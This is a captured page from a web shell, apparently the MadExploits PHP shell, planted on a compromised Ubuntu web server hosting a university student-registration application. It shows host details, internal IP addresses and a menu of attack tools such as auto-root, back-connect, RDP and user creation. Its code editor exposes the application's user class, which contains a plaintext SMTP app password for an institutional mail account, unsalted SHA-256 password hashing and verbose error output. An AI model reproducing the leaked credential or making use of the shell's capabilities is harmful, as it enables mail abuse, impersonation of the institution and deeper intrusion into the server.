Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cipd /
applications /
[ HOME SHELL ]
Name
Size
Permission
Action
admin
[ DIR ]
drwxr-xr-x
bower_components
[ DIR ]
drwxr-xr-x
database
[ DIR ]
drwxr-xr-x
dist
[ DIR ]
drwxr-xr-x
documents
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
mailer
[ DIR ]
drwxr-xr-x
mailer-old
[ DIR ]
drwxr-xr-x
phpmailer_manual_setup
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
src
[ DIR ]
drwxr-xr-x
uploadDoc
[ DIR ]
drwxrwxr-x
validation
[ DIR ]
drwxr-xr-x
404.php
2.86
KB
-rw-r--r--
changePassword.php
4.67
KB
-rw-r--r--
class.user-ankittill30725.php
5.29
KB
-rw-r--r--
class.user.php
5.9
KB
-rw-r--r--
common-oldbkp.php
5.19
KB
-rw-r--r--
common.php
5.99
KB
-rw-r--r--
config.php
282
B
-rw-r--r--
dashboard.php
5.13
KB
-rw-r--r--
dbconfig.php
1.29
KB
-rw-r--r--
error_log
5.69
KB
-rw-r--r--
forgotPassword.php
4.94
KB
-rw-r--r--
fpass.php
3.11
KB
-rw-r--r--
index.php
5.86
KB
-rw-r--r--
logout.php
645
B
-rw-r--r--
page-top.php
5.8
KB
-rw-r--r--
pay-bkp15722.php
8.49
KB
-rw-r--r--
pay-oldbkp.php
5.39
KB
-rw-r--r--
pay.php
5.34
KB
-rw-r--r--
personalInformations-oldofcsed...
24.15
KB
-rw-r--r--
personalInformations.php
1
KB
-rw-r--r--
register-ankittill30725.php
16.12
KB
-rw-r--r--
register-nandini.php
14.88
KB
-rw-r--r--
register-originaltill29725.php
16.71
KB
-rw-r--r--
register.php
15.72
KB
-rw-r--r--
registrationVerify.php
2.46
KB
-rw-r--r--
resetpass.php
5.26
KB
-rw-r--r--
test-error.php
430
B
-rw-r--r--
testmail1.php
1.1
KB
-rw-r--r--
verify-bkp15722.php
12.67
KB
-rw-r--r--
verify-oldbkp.php
7.15
KB
-rw-r--r--
verify.php
9.6
KB
-rw-r--r--
viewStudentDetails.php
18.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.user.php
<?php ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; use PHPMailer\PHPMailer\SMTP; require_once 'dbconfig.php'; session_start(); class USER { private $conn; public function __construct() { $database = new Database(); $db = $database->dbConnection(); $this->conn = $db; } public function runQuery($sql) { return $this->conn->prepare($sql); } public function lasdID() { return $this->conn->lastInsertId(); } public function register($studentName, $studentEmail, $studentMobile, $institutionName, $domains, $subdomains, $experience, $linkdinurl, $weburl, $studentPassword, $lcv, $tokenCode) { try { //$hashedpassword = password_hash($studentPassword, PASSWORD_DEFAULT); $hashedpassword= hash( 'sha256', $studentPassword ); $stmt = $this->conn->prepare("INSERT INTO studentregistration (studentName, studentEmail, studentMobile, institutionName, domains, subdomains, experience,linkdinurl, weburl, studentPassword, lcv, tokenCode) VALUES (:studentName, :studentEmail, :studentMobile, :institutionName, :domains, :subdomains, :experience,:linkdinurl, :weburl, :hashedpassword, :lcv, :tokenCode)"); $stmt->bindParam(":studentName", $studentName); $stmt->bindParam(":studentEmail", $studentEmail); $stmt->bindParam(":studentMobile", $studentMobile); $stmt->bindParam(":institutionName", $institutionName); $stmt->bindParam(":domains", $domains); $stmt->bindParam(":subdomains", $subdomains); $stmt->bindParam(":experience", $experience); $stmt->bindParam(":linkdinurl", $linkdinurl); $stmt->bindParam(":weburl", $weburl); $stmt->bindParam(":hashedpassword", $hashedpassword); $stmt->bindParam(":lcv", $lcv); $stmt->bindParam(":tokenCode", $tokenCode); $stmt->execute(); return true; } catch (PDOException $e) { echo "Error: " . $e->getMessage(); return false; } } public function login( $studentEmail, $upass, $authtokenid ) { try { $stmt = $this->conn->prepare( "SELECT * FROM studentregistration WHERE studentEmail=:studentEmail" ); $stmt->execute( array( ":studentEmail" => $studentEmail ) ); $userRow = $stmt->fetch( PDO::FETCH_ASSOC ); if ( $stmt->rowCount() == 1 ) { if ( $userRow[ 'userStatus' ] == "Y" ) { $studentID = $userRow[ 'studentID' ]; if ( $userRow[ 'studentPassword' ] == hash( 'sha256', $upass ) ) { //if ( $userRow[ 'studentPassword' ] == password_hash( 'sha256', $upass ) ) { $stmt3 = $this->conn->prepare( "SELECT * FROM authsession WHERE studentID=:studentID" ); $stmt3->execute( array( ":studentID" => $studentID ) ); $userRow3 = $stmt3->fetch( PDO::FETCH_ASSOC ); $loginFlg = "Y"; if ( $userRow3[ 'studentID' ] == "" && $userRow3[ 'authtokenid' ] == "" ) { $stmt4 = $this->conn->prepare( 'INSERT INTO authsession (studentID,authtokenid,loginFlg) VALUES(:studentID1, :authtokenid1, :loginFlg1)' ); $stmt4->bindParam( ':studentID1', $studentID ); $stmt4->bindParam( ':authtokenid1', $authtokenid ); $stmt4->bindParam( ':loginFlg1', $loginFlg ); if ( $stmt4->execute() ) { $_SESSION[ 'userSession' ] = $userRow[ 'studentEmail' ]; //$_SESSION[ 'studentIDSession' ] = $userRow3[ 'studentID' ]; $_SESSION['studentIDSession'] = $studentID; return true; } else { //$_SESSION['errMSG']= $errMSG = "error while inserting...."; } } else { $sql = "UPDATE authsession SET authtokenid=:authtokenid, loginFlg=:loginFlg WHERE studentID=:studentID"; $query = $this->conn->prepare( $sql ); $query->bindparam( ':studentID', $studentID ); $query->bindparam( ':authtokenid', $authtokenid ); $query->bindparam( ':loginFlg', $loginFlg ); if ( $query->execute() ) { $_SESSION[ 'userSession' ] = $userRow[ 'studentEmail' ]; //$_SESSION[ 'studentIDSession' ] = $userRow3[ 'studentID' ]; $_SESSION['studentIDSession'] = $studentID; return true; } else { //$_SESSION['errMSG']= $errMSG = "error while inserting...."; } } } else { header( "Location: index.php?error" ); exit; } } else { header( "Location: index.php?inactive" ); exit; } } else { header( "Location: index.php?error" ); exit; } } catch ( PDOException $ex ) { echo $ex->getMessage(); } } public function is_logged_in() { if ( isset( $_SESSION[ 'userSession' ] ) ) { return true; } } public function redirect( $url ) { header( "Location: $url" ); } public function logout() { session_destroy(); $_SESSION[ 'userSession' ] = false; $_SESSION[ 'studentIDSession' ] = false; } function send_mail($studentEmail, $message, $subject) { error_reporting(E_ALL); ini_set('display_errors', 1); require_once __DIR__ . '/mailer/PHPMailer.php'; require_once __DIR__ . '/mailer/SMTP.php'; require_once __DIR__ . '/mailer/Exception.php'; $mail = new PHPMailer(true); try { //$mail->SMTPDebug = 2; $mail->Debugoutput = 'html'; $mail->isSMTP(); $mail->Host = 'smtp.gmail.com'; $mail->SMTPAuth = true; $mail->Username = 'no-reply@iiitd.ac.in'; $mail->Password = 'trwn ljvy brjw qgxx'; $mail->SMTPSecure = 'tls'; $mail->Port = 587; $mail->setFrom('no-reply@iiitd.ac.in', 'IIITD'); $mail->addAddress($studentEmail); $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $message; $mail->send(); echo '✅ Message sent successfully'; } catch (Exception $e) { echo "❌ Message could not be sent. Error: {$mail->ErrorInfo}"; } } }
Close